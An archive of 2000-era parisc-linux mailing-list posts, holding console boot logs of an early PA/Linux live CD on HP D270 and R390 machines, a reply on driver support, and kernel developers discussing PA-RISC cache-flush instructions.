Segment 2 load 00294000 size 86880 mediaptr 0x194000
Segment 3 load 002ac000 size 8192 mediaptr 0x1aa000
branching to kernel entry point 0x00100000
pdc_cons registered !
The Kernel has started...
Free memory starts at: 0xc02dc000
PALO command line: 'TERM=linux HOME=/ root=/dev/scd0'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00005a30 00000491 00000000 00000002 775c3955 100000f0 00000008 000000b22vers    00000205
cpuid   000001c9
CPUID vers 14 rev 9
CPU(s): 1 x PA8000 at 160.000000 MHz
Searching for devices in PDC firmware... a newer box...
Found devices:
1. UL 350 Lasi Core BA (11) at 0xffd00000, versions 0x2e, 0x0, 0x81, 0x0, 0x0
2. UL 350 Lasi Core RS-232 (10) at 0xffd05000, versions 0x2e, 0x0, 0x8c, 0x0, 003. UL 350 Core SCSI (10) at 0xffd06000, versions 0x2e, 0x0, 0x82, 0x0, 0x80
4. UL 350 Core LAN (802.3) (10) at 0xffd07000, versions 0x2e, 0x0, 0x8a, 0x0, 005. UL 350 Core Centronics (10) at 0xffd02000, versions 0x2e, 0x0, 0x74, 0x0, 0x06. UL 350 Core PC Keyboard (10) at 0xffd08000, versions 0x2e, 0x0, 0x84, 0x0, 007. UL 350 Core PC Keyboard (10) at 0xffd08100, versions 0x2e, 0x0, 0x84, 0x0, 008. UL 350 Core Wax BA (11) at 0xffe00000, versions 0x30, 0x0, 0x8e, 0x0, 0x0
9. UL 350 Wax EISA BA (11) at 0xfc000000, versions 0x30, 0x0, 0x90, 0x0, 0x0
10. UL 350 Wax Core RS-232 (10) at 0xffe02000, versions 0x30, 0x0, 0x8c, 0x0, 00That's a total of 10 devices.
Linux version 2.3.99-pre8 (bame@noam) (gcc version 2.96 20000707 (experimental)0initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 292.45 BogoMIPS
Memory: 125696k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
kmem_create: Poisoning requested, but con given - bdev_cache
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
kmem_create: Poisoning requested, but con given - inode_cache
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
request_irq(258, c01ec76c, 0x0, lasi, c7ff9080)
Wax at 0xffe00000 found.
request_irq(263, c01ec76c, 0x0, wax, c7ff9140)
request_irq(797, c01ec994, 0x0, wax_hil_nmi, 00000000)
Wax: HIL Keyboard-NMI registered.
parport0: PC-style at 0xffd02800, irq 536 [PCSPP,TRISTATE]
request_irq(536, c01ecac8, 0x0, parport0, c7ffcc00)
Found i82596 at 0xffd07000, IRQ 535
early initialization of device eth0 is deferred
Initializing lasi keyboard port at 0xffd08000...
request_irq(517, c01ae2fc, 0x0, GSC PS/2, ffd08000)
Initializing lasi mouse port at 0xffd08100...
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
kmem_create: Poisoning requested, but con given - skbuff_head_cache
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 8Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
Starting kswapd v1.6
pty: 256 Unix98 ptys configured
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 534
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: WARNING: target data areas are not dma coherent!
scsi0: test 1 completed ok.
request_irq(534, c01da868, 0x20000000, sim700, c7f8d260)
scsi0: sim700_intr_handle() called with no interrupt
scsi0 : LASI/Simple 53c700
scsi : 1 host.
  Vendor: TOSHIBA   Model: CD-ROM XM-5701TA  Rev: 1347
  Type:   CD-ROM                             ANSI SCSI revision: 02
Detected scsi CD-ROM sr0 at scsi0, channel 0, id 2, lun 0
scsi : detected 1 SCSI cdrom total.
Uniform CD-ROM driver Revision: 3.08
82596: 6 0 0 at c028cc10
82596: 6 ffd07000 217 at c7ffca00
eth0: 82596 at 0xffd07000, 08 00 09 55 5A 62 IRQ 535.
82596.c $Revision: 1.9 $
Serial driver version 4.93 (2000-03-20) with MANY_PORTS SHARE_IRQ SERIAL_PCI endFound serial #0 at 0xffd05000, IRQ 538
ttyS00 at iomem 0xffd05800 (irq = 538) is a 16550A
Found serial #1 at 0xffe02000, IRQ 793
ttyS01 at iomem 0xffe02800 (irq = 793) is a 16550A
pdc_cons die !!
kmem_create: Forcing size word alignment - nfs_fh
VFS: Disk change detected on device sr(11,0)
ISO 9660 Extensions: RRIP_1991A
VFS: Mounted root (iso9660 filesystem) readonly.
request_irq(538, c019e908, 0x4000000, serial, c02c976c)
execve /sbin/init c0272008 c0272030
Fri Aug  4 01:33:00 /home/bame/xc/hppa 2000
dd: /dev/zero: Bad address
0+0 records in
0+0 records out
mke2fs 1.19-WIP, 7-Jul-2000 for EXT2 FS 0.5b, 95/08/09
ext2fs_check_if_mount: No such file or directory while determining whether /dev.Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
1024 inodes, 4096 blocks
0 blocks (0.00%) reserved for the super user
First data block=1
1 block group
8192 blocks per group, 8192 fragments per group
1024 inodes per group

Writing inode tables: done
Writing superblocks and filesystem accounting information: done

                Welcome to PA/Linux release 0.1
            (release 0.1 means don't expect much from it!)

In addition to the bootable image, this CD contains cross compilers,
source code, and documentation.  You can initialize a bootable PA-RISC
hard disk from this CD too.  Read /README to find out more.

Since progress never stops, by the time you boot this it'll be out of
date, so check out http://www.thepuffingroup.com/parisc/ for the latest.

Login as a superuser     login: root password: root
   or as a normal user   login: demo password: demo



(none) login: root
Password:


Most of the programs included with the Debian GNU/Linux system are
freely redistributable; the exact distribution terms for each program
are described in the individual files in /usr/doc/*/copyright

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
sh: can't access tty; job control turned off
# pwd
/root
# cd /
# ls -al
total 213
dr-xr-xr-x   18 root     root         4096 Aug  4  2000 .
dr-xr-xr-x   18 root     root         4096 Aug  4  2000 ..
-r--r--r--    1 root     root         1962 Aug  4  2000 README
-r--r--r--    1 root     root         3678 Aug  4  2000 README.INSTALL
dr-xr-xr-x    2 root     root         4096 Aug  4 00:35 bin
dr-xr-xr-x    2 root     root         2048 Aug  3 19:19 boot
dr-xr-xr-x    2 root     root       163840 Aug  4  2000 dev
dr-xr-xr-x    5 root     root         4096 Aug  4  2000 etc
dr-xr-xr-x    2 root     root         2048 Jun 15 00:10 home
dr-xr-xr-x    2 root     root         2048 Aug  3 16:50 include
dr-xr-xr-x    2 root     root         2048 Jun 15 00:10 lib
dr-xr-xr-x    9 root     root         2048 Aug  5  2000 mirror
dr-xr-xr-x    2 root     root         2048 Jun 15 00:10 mnt
dr-xr-xr-x   17 root     root            0 Aug 30  2000 proc
dr-xr-xr-x    2 root     root         2048 Jun 15 00:10 root
dr-xr-xr-x    2 root     root         8192 Aug  3 23:04 sbin
dr-xr-xr-x    4 root     root         2048 Jul 31 16:27 share
drwxrwxrwx    3 root     root         1024 Aug  4 01:33 tmp
dr-xr-xr-x   15 root     root         2048 Aug  3 23:04 usr
dr-xr-xr-x   10 root     root         2048 Aug  4  2000 var
# cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC <NULL>
cpu             : PA8000
cpu MHz         : 160.000000
model           :
model name      : UL 2w U160 512K/512K (871/D270,D370)
hversion        : 0x00005a30
sversion        : 0x00000491
I-cache         : 512 KB
D-cache         : 512 KB (WB)
ITLB entries    : 96
DTLB entries    : 96 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (16 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 292.45
# shutdown now -h
Why? why not?
shutdown: halted by ghost: why not?
Couldn't umount pipe: on none: No such file or directory
Unmounting any remaining filesystems...
shutdown: Cannot open /etc/mtab.

Now you can turnSystem halted.
 off the power..gsc.c:gsc_mach cmd 2
.

--------------DD6064467AE735BB0ECF5742--


From - Thu Nov 08 21:13:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Claudiu Carter <ccarter@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP R390 boots ok, log inside
Date: Tue, 29 Aug 2000 15:10:30 -0400
Lines: 302
Approved: news@gmane.org
Message-ID: <39AC0AA6.D17DF96@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------C52EBA3FCF6E1122A4AD8B94"
X-Trace: ger.gmane.org 1416619090 3190 80.91.229.3 (22 Nov 2014 01:18:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:10 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: ccarter@linuxcare.com  Tue Aug 29 13:17:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA07399
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 13:17:08 -0600
Original-Received: (qmail 17149 invoked by uid 15267); 29 Aug 2000 19:17:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17132 invoked from network); 29 Aug 2000 19:17:11 -0000
Original-Received: from ottawa.linuxcare.com (HELO fuzzynavel.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 29 Aug 2000 19:17:11 -0000
Original-Received: from linuxcare.com (IDENT:cloud@localhost.localdomain [127.0.0.1])
	by fuzzynavel.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id PAA13331
	for <parisc-linux@thepuffingroup.com>; Tue, 29 Aug 2000 15:10:30 -0400
Original-Sender: cloud@fuzzynavel.thepuffingroup.com
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7830

This is a multi-part message in MIME format.
--------------C52EBA3FCF6E1122A4AD8B94
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tara and i have managed to boot both an R390 and D270, here's the log
for the R390.

Claudiu Carter.

--------------C52EBA3FCF6E1122A4AD8B94
Content-Type: text/plain; charset=us-ascii;
 name="R390-log"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="R390-log"

Firmware Version  38.39

Duplex Console IO Dependent Code (IODC) revision 0

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------
      0       240 MHz   Active                 Functional            2 MB
      1       240 MHz   Idle                   Functional            2 MB

  Central Bus Speed (in MHz)  :        120

  Model: R390/2

  Available memory (bytes)    : 1610612736
  Good memory required (bytes):    8847360

  Primary boot path:    8/16/5.6   (dec)
  Alternate boot path:  8/16/5.5   (dec)
  Console path:         10/12.0   (dec)
  Keyboard path:        8/16/7.0   (dec)

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


------- Main Menu -------------------------------------------------------------

        Command                         Description
        -------                         -----------
        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration [<command>]       Access Configuration menu/commands
        INformation [<command>]         Access Information menu/commands
        SERvice [<command>]             Access Service menu/commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command > Search

Searching for potential boot device(s)...
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).


   Path Number        Device Path (dec)        Device Type
   -----------        -----------------        -----------
   P0                 8/16/5.6                 Random access media
   P1                 8/16/5.5                 Random access media
   P2                 8/16/5.1                 Random access media
   P3                 8/16/6.0                 LAN Module


Main Menu: Enter command > bo P2
Interact with IPL (Y, N, or Cancel)?> N

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl bame@noam Fri Aug  4 18:36:35 MDT 2000
0/vmlinux 2349352 bytes @ 0x6f6000
0/palo-cmdline '0/vmlinux TERM=linux HOME=/ root=/dev/scd0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1511580 mediaptr 0x1000
Segment 1 load 00272000 size 132368 mediaptr 0x173000
Segment 2 load 00294000 size 86880 mediaptr 0x194000
Segment 3 load 002ac000 size 8192 mediaptr 0x1aa000
branching to kernel entry point 0x00100000
pdc_cons registered !
The Kernel has started...
Free memory starts at: 0xc02dc000
PALO command line: 'TERM=linux HOME=/ root=/dev/scd0'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00005ba0 00000491 00000000 00000002 77f03bdf 100000f0 00000008 000000b22vers    00000501
cpuid   000001d7
CPUID vers 14 rev 23
CPU(s): 1 x PA8200 at 240.000000 MHz
Searching for devices in PDC firmware... a newer box...
Found devices:
1. UL 550 Lasi Core BA (11) at 0xffd00000, versions 0x2f, 0x0, 0x81, 0x0, 0x0
2. UL 550 Lasi Core RS-232 (10) at 0xffd05000, versions 0x2f, 0x0, 0x8c, 0x0, 003. UL 550 Core SCSI (10) at 0xffd06000, versions 0x2f, 0x0, 0x82, 0x0, 0x80
4. UL 350 Core LAN (802.3) (10) at 0xffd07000, versions 0x2f, 0x0, 0x8a, 0x0, 005. UL 550 Core Centronics (10) at 0xffd02000, versions 0x2f, 0x0, 0x74, 0x0, 0x06. UL 550 Core PC Keyboard (10) at 0xffd08000, versions 0x2f, 0x0, 0x84, 0x0, 007. UL 550 Core PC Keyboard (10) at 0xffd08100, versions 0x2f, 0x0, 0x84, 0x0, 008. UL 550 Core Wax BA (11) at 0xffe00000, versions 0x31, 0x0, 0x8e, 0x0, 0x0
9. UL 550 Wax EISA BA (11) at 0xfc000000, versions 0x31, 0x0, 0x90, 0x0, 0x0
10. UL 550 Wax Core RS-232 (10) at 0xffe02000, versions 0x31, 0x0, 0x8c, 0x0, 0011. Raven Opt. 2D Graphics (Goat) (10) at 0xf6000000, versions 0x12, 0x0, 0x77,0That's a total of 11 devices.
Linux version 2.3.99-pre8 (bame@noam) (gcc version 2.96 20000707 (experimental)0initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 374.37 BogoMIPS
Memory: 125696k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
kmem_create: Poisoning requested, but con given - bdev_cache
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
kmem_create: Poisoning requested, but con given - inode_cache
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
request_irq(258, c01ec76c, 0x0, lasi, c7ff9080)
Wax at 0xffe00000 found.
request_irq(263, c01ec76c, 0x0, wax, c7ff9140)
request_irq(797, c01ec994, 0x0, wax_hil_nmi, 00000000)
Wax: HIL Keyboard-NMI registered.
parport0: PC-style at 0xffd02800, irq 536 [PCSPP,TRISTATE]
request_irq(536, c01ecac8, 0x0, parport0, c7ffcc00)
Found i82596 at 0xffd07000, IRQ 535
early initialization of device eth0 is deferred
Initializing lasi keyboard port at 0xffd08000...
request_irq(517, c01ae2fc, 0x0, GSC PS/2, ffd08000)
Initializing lasi mouse port at 0xffd08100...
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
kmem_create: Poisoning requested, but con given - skbuff_head_cache
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 8Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
Starting kswapd v1.6
pty: 256 Unix98 ptys configured
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 534
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: WARNING: target data areas are not dma coherent!
scsi0: test 1 completed ok.
request_irq(534, c01da868, 0x20000000, sim700, c7f8d260)
scsi0: sim700_intr_handle() called with no interrupt
scsi0 : LASI/Simple 53c700
scsi : 1 host.
  Vendor: PIONEER   Model: DVD-ROM DVD-303   Rev: 1.04
  Type:   CD-ROM                             ANSI SCSI revision: 02
Detected scsi CD-ROM sr0 at scsi0, channel 0, id 1, lun 0
  Vendor: SEAGATE   Model: ST39173N          Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
  Vendor: SEAGATE   Model: ST39173N          Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
scsi : detected 1 SCSI cdrom 2 SCSI disks total.
sr0: scsi3-mmc drive: 0x/0x cd/rw xa/form2 cdda tray
Uniform CD-ROM driver Revision: 3.08
SCSI device sda: hdwr sector= 512 bytes. Sectors= 17773524 [8678 MB] [8.7 GB]
Partition check:
 sda: unknown partition table
SCSI device sdb: hdwr sector= 512 bytes. Sectors= 17773524 [8678 MB] [8.7 GB]
 sdb: unknown partition table
82596: 6 0 0 at c028cc10
82596: 6 ffd07000 217 at c7ffca00
eth0: 82596 at 0xffd07000, 08 00 09 FD 7A AB IRQ 535.
82596.c $Revision: 1.9 $
Serial driver version 4.93 (2000-03-20) with MANY_PORTS SHARE_IRQ SERIAL_PCI end
Found serial #0 at 0xffd05000, IRQ 538
ttyS00 at iomem 0xffd05800 (irq = 538) is a 16550A
Found serial #1 at 0xffe02000, IRQ 793
ttyS01 at iomem 0xffe02800 (irq = 793) is a 16550A
pdc_cons die !!
kmem_create: Forcing size word alignment - nfs_fh
VFS: Disk change detected on device sr(11,0)
ISO 9660 Extensions: RRIP_1991A
VFS: Mounted root (iso9660 filesystem) readonly.
request_irq(538, c019e908, 0x4000000, serial, c02c976c)
execve /sbin/init c0272008 c0272030
Fri Aug  4 01:33:00 /home/bame/xc/hppa 2000
dd: /dev/zero: Bad address
0+0 records in
0+0 records out
mke2fs 1.19-WIP, 7-Jul-2000 for EXT2 FS 0.5b, 95/08/09
ext2fs_check_if_mount: No such file or directory while determining whether /dev.
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
1024 inodes, 4096 blocks
0 blocks (0.00%) reserved for the super user
First data block=1
1 block group
8192 blocks per group, 8192 fragments per group
1024 inodes per group

Writing inode tables: done
Writing superblocks and filesystem accounting information: done

                Welcome to PA/Linux release 0.1
            (release 0.1 means don't expect much from it!)

In addition to the bootable image, this CD contains cross compilers,
source code, and documentation.  You can initialize a bootable PA-RISC
hard disk from this CD too.  Read /README to find out more.

Since progress never stops, by the time you boot this it'll be out of
date, so check out http://www.thepuffingroup.com/parisc/ for the latest.

Login as a superuser     login: root password: root
   or as a normal user   login: demo password: demo



(none) login: root
Password:


Most of the programs included with the Debian GNU/Linux system are
freely redistributable; the exact distribution terms for each program
are described in the individual files in /usr/doc/*/copyright

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
sh: can't access tty; job control turned off
# pwd
/root
# cd /
# ls -la
total 213
dr-xr-xr-x   18 root     root         4096 Aug  4  2000 .
dr-xr-xr-x   18 root     root         4096 Aug  4  2000 ..
-r--r--r--    1 root     root         1962 Aug  4  2000 README
-r--r--r--    1 root     root         3678 Aug  4  2000 README.INSTALL
dr-xr-xr-x    2 root     root         4096 Aug  4 00:35 bin
dr-xr-xr-x    2 root     root         2048 Aug  3 19:19 boot
dr-xr-xr-x    2 root     root       163840 Aug  4  2000 dev
dr-xr-xr-x    5 root     root         4096 Aug  4  2000 etc
dr-xr-xr-x    2 root     root         2048 Jun 15 00:10 home
dr-xr-xr-x    2 root     root         2048 Aug  3 16:50 include
dr-xr-xr-x    2 root     root         2048 Jun 15 00:10 lib
dr-xr-xr-x    9 root     root         2048 Aug  5  2000 mirror
dr-xr-xr-x    2 root     root         2048 Jun 15 00:10 mnt
dr-xr-xr-x   17 root     root            0 Aug 29  2000 proc
dr-xr-xr-x    2 root     root         2048 Jun 15 00:10 root
dr-xr-xr-x    2 root     root         8192 Aug  3 23:04 sbin
dr-xr-xr-x    4 root     root         2048 Jul 31 16:27 share
drwxrwxrwx    3 root     root         1024 Aug  4 01:33 tmp
dr-xr-xr-x   15 root     root         2048 Aug  3 23:04 usr
dr-xr-xr-x   10 root     root         2048 Aug  4  2000 var
# cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC <NULL>
cpu             : PA8200
cpu MHz         : 240.000000
model           :
model name      : UL 2w U+/240 (350/550)
hversion        : 0x00005ba0
sversion        : 0x00000491
I-cache         : 2048 KB
D-cache         : 2048 KB (WB)
ITLB entries    : 120
DTLB entries    : 120 - shared with ITLB
BTLB            : not supported
bogomips        : 374.37
# shutdown now -h
Why?
shutdown: halted by ghost:
Couldn't umount pipe: on none: No such file or directory
Unmounting any remaining filesystems...
shutdown: Cannot open /etc/mtab.

Now you can turnSystem halted.
 off the power..gsc.c:gsc_mach cmd 2
.

--------------C52EBA3FCF6E1122A4AD8B94--


From - Thu Nov 08 21:13:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP R390 boots ok, log inside
Date: Tue, 29 Aug 2000 13:45:42 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <200008292045.NAA17082@milano.cup.hp.com>
References: <39AC0AA6.D17DF96@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619091 3195 80.91.229.3 (22 Nov 2014 01:18:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:11 +0000 (UTC)
Cc: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: Claudiu Carter <ccarter@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Tue Aug 29 14:42:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA08279
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 14:42:48 -0600
Original-Received: (qmail 26983 invoked by uid 15267); 29 Aug 2000 20:42:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26954 invoked from network); 29 Aug 2000 20:42:51 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 29 Aug 2000 20:42:51 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id A34B332E5; Tue, 29 Aug 2000 13:42:29 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA17082;
	Tue, 29 Aug 2000 13:45:45 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 29 Aug 2000 15:10:30 PDT."
             <39AC0AA6.D17DF96@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7831

Claudiu Carter wrote:

> Tara and i have managed to boot both an R390 and D270, here's the log
> for the R390.

Tara, Claudia,

Just FYI. I wanted to point out the only things that work under the
R390/D270 (and similar boxes) are sim700 and serial port - bare minimum
to boot. What's missing from the CD is U2/Uturn support. Bob Pflederer
was able to get U2 support working some time after the CD image was burned.

sim700 DMA happens to work since Richard Hirst made sim700 work
on boxes which are not I/O coherent (eg 715/33) by adding explicit
cache flushing code where needed.

serial doesn't do DMA and thus isn't affected.
But LAN and other GSC/PCI add-on are affected.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0-test6 lack of speed
Date: Tue, 29 Aug 2000 17:23:08 -0400
Lines: 56
Approved: news@gmane.org
Message-ID: <20000829172308.A1032@vodka.thepuffingroup.com>
References: <20000822153803.U4060@linuxcare.com> <20000822155221.W4060@linuxcare.com> <20000822165047.X4060@linuxcare.com> <87n1i5wabx.fsf@linuxcare.com> <20000823172320.E4060@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619091 3196 80.91.229.3 (22 Nov 2014 01:18:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:11 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: willy@thepuffingroup.com  Tue Aug 29 16:27:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA09026
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 16:27:48 -0600
Original-Received: (qmail 18065 invoked by uid 15267); 29 Aug 2000 22:27:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18050 invoked from network); 29 Aug 2000 22:27:51 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 29 Aug 2000 22:27:51 -0000
Original-Received: (qmail 17562 invoked from network); 29 Aug 2000 22:27:50 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 29 Aug 2000 22:27:50 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id RAA03746;
	Tue, 29 Aug 2000 17:23:08 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000823172320.E4060@linuxcare.com>; from Richard Hirst on Wed, Aug 23, 2000 at 05:23:20PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7832

On Wed, Aug 23, 2000 at 05:23:20PM +0100, Richard Hirst wrote:
> It looks to me like all calls to flush_cache_range() are passed a user
> virtual address, except for those calls from arch/parisc/kernel/pci-dma.c
> where we pass kernel virtual addresses.

agreed.

> So perhaps flush_cache_range() should generate FIC/FICE/FDC/FDCE
> instructions with a space register of %sr3, and pci-dma.c should
> use some other method of flushing memory.
> 
> I was looking at the difference between FDC and FDCE; it seems FDC
> does address translation and FDCE does not, so should we use FDC
> really?  flush_cache_range() currently uses FDCE/FICE.

we should stop using FICE/FDCE/PDTLBE/PITLBE except in the `flush
entire cache' routines.  the definitions should be moved from cache.h
to cache.c.  No-one else should be given the opportunaity to use them.
They are too undefined.

> Helge Deller wrote some code in drivers/net/lasi_82596.c that plays
> with %sr1 and uses FDC, FIC, PDC, SYNC, and SYNCDMA.
> 
> Can someone tell me why include/asm/cache.h has no space register
> specified on fdce():
> 
> > #define fdce(addr) asm volatile("fdce 0(%0)" : : "r" (addr))
> > #define fice(addr) asm volatile("fice 0(%%sr1,%0)" : : "r" (addr))
> > 
> > #define pdtlbe(addr) asm volatile("pdtlbe 0(%%sr1,%0)" : : "r" (addr))
> > #define pitlbe(addr) asm volatile("pitlbe 0(%%sr1,%0)" : : "r" (addr))

My attempt at fixing this in a sane manner led me to create:

#define user_fdc(addr) asm volatile("fdc 0(%%sr3,%0)" : : "r" (addr))
(...)

and

#define kernel_fdc(addr) asm volatile("fdc 0(%%sr0,%0)" : : "r" (addr))
(...)

however, the resulting kernel wouldn't boot.  So let's take this a
step at a time and see how far we can go towards eliminating the *E
variants.  I've written a little rant on this suject which you can find
in linux-2.3/Documentation/parisc/mm.  feel free to ignore it if you want.

> ps. as you can see, I am learning as I go here, so all hints and
> clues are gratefully accepted!

Likewise!  BTW, I hear davem wrote a doc about this which is in
-test8-pre1 which may help somewhat.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
